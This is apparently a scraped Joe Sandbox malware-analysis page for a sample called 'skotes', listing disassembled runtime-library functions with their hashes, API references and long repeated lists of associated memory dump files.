Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 8a000c63f16ac77ae7f948b7510d12750716042851f53033ffd7013c51965662
Instruction ID: 7febee8517bbce229b10358c6dce6e9cadb5294f68cfaebd15d2cc511486c9be
Opcode Fuzzy Hash: 8a000c63f16ac77ae7f948b7510d12750716042851f53033ffd7013c51965662
Instruction Fuzzy Hash: A8315271A006159FCF14DFA9D495AEDF7B5BF88710F14822DE426A72A1CB34A941CF90

Function 0091BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0091BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0091BBE4
_xtime_get.LIBCPMT ref: 0091BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0091BC13

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 22a9280aa77af02b61a63b0ee37f1f6319c2f3b615f1fecb67dfff3c7f94023b
Instruction ID: eb85e6215d23add964f3602d6e0add12e9d8ce035bceb7b14c94efa3ce6f2a3a
Opcode Fuzzy Hash: 22a9280aa77af02b61a63b0ee37f1f6319c2f3b615f1fecb67dfff3c7f94023b
Instruction Fuzzy Hash: 5F211DB1A4021DAFDF00EBA4D885AFEB7B9EF48754F500055F501A7251DB34AD419BA1

Function 00929C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00929C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00929CE8
std::bad_exception::bad_exception.LIBCMT ref: 00929CFE
std::bad_exception::bad_exception.LIBCMT ref: 00929D6A

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 8d6e439a8d23f0617a0e18852f2c02c7ab90b71f0e4c1469ae07d7614743e720
Instruction ID: ca75d27b187ac35dd7e6323daf925832dc5c409e179248661158fce838686a4d
Opcode Fuzzy Hash: 8d6e439a8d23f0617a0e18852f2c02c7ab90b71f0e4c1469ae07d7614743e720
Instruction Fuzzy Hash: A421C576901628AFDB04EFA4E882EEDB7F4EF45324F204065F401AB2E5DB316E45DB61

Function 0092A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0092A069

Part of subcall function 0092B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0092B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0092A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0092A0CB

Part of subcall function 0092AB41: List.LIBCONCRT ref: 0092AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0092A0DB

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: a3b03d4aeadf64a1dcf5719bc4a6f35d59ab5a489b08aa8c6dabf43036776112
Instruction ID: 818c77a4614d7a2117a5adcd0ac01ccff6e909892966349ca43cb035dc642bb9
Opcode Fuzzy Hash: a3b03d4aeadf64a1dcf5719bc4a6f35d59ab5a489b08aa8c6dabf43036776112
Instruction Fuzzy Hash: 5721C132500B249FCB24EF65E9909ABF3F9FF88700700495DE442A7655CB34F905DB92

Function 00924885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00924893
ListArray.LIBCONCRT ref: 009248A5

Part of subcall function 00925555: _InternalDeleteHelper.LIBCONCRT ref: 00925564

ListArray.LIBCONCRT ref: 009248AF
_InternalDeleteHelper.LIBCONCRT ref: 009248C8

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ee0df1d0259e0f88c6c8d3e34dfcc2729f982a86aa1e45f17a59081848490f93
Instruction ID: ef43f1f59ebc1fdc44bc64b11cbc41960ba76226d38356f8051e11349d93bbd7
Opcode Fuzzy Hash: ee0df1d0259e0f88c6c8d3e34dfcc2729f982a86aa1e45f17a59081848490f93
Instruction Fuzzy Hash: 2601D172701531AFCF25BB65E882FAEB76ABFC5B103010129F9049761ACB20EC6197E4

Function 0092EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0092EE6A
ListArray.LIBCONCRT ref: 0092EE7C

Part of subcall function 0092EF29: _InternalDeleteHelper.LIBCONCRT ref: 0092EF3B

ListArray.LIBCONCRT ref: 0092EE86
_InternalDeleteHelper.LIBCONCRT ref: 0092EE9F

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 757eca927666ad26e995e55e2bdc0b0907e53fbf934bd967dad1e9b5ce5a27eb
Instruction ID: 78e2e428b1652b31c5d5c6cb38c6fe1b45ee669da1f0879e0d01bbf8f2e4ace1
Opcode Fuzzy Hash: 757eca927666ad26e995e55e2bdc0b0907e53fbf934bd967dad1e9b5ce5a27eb
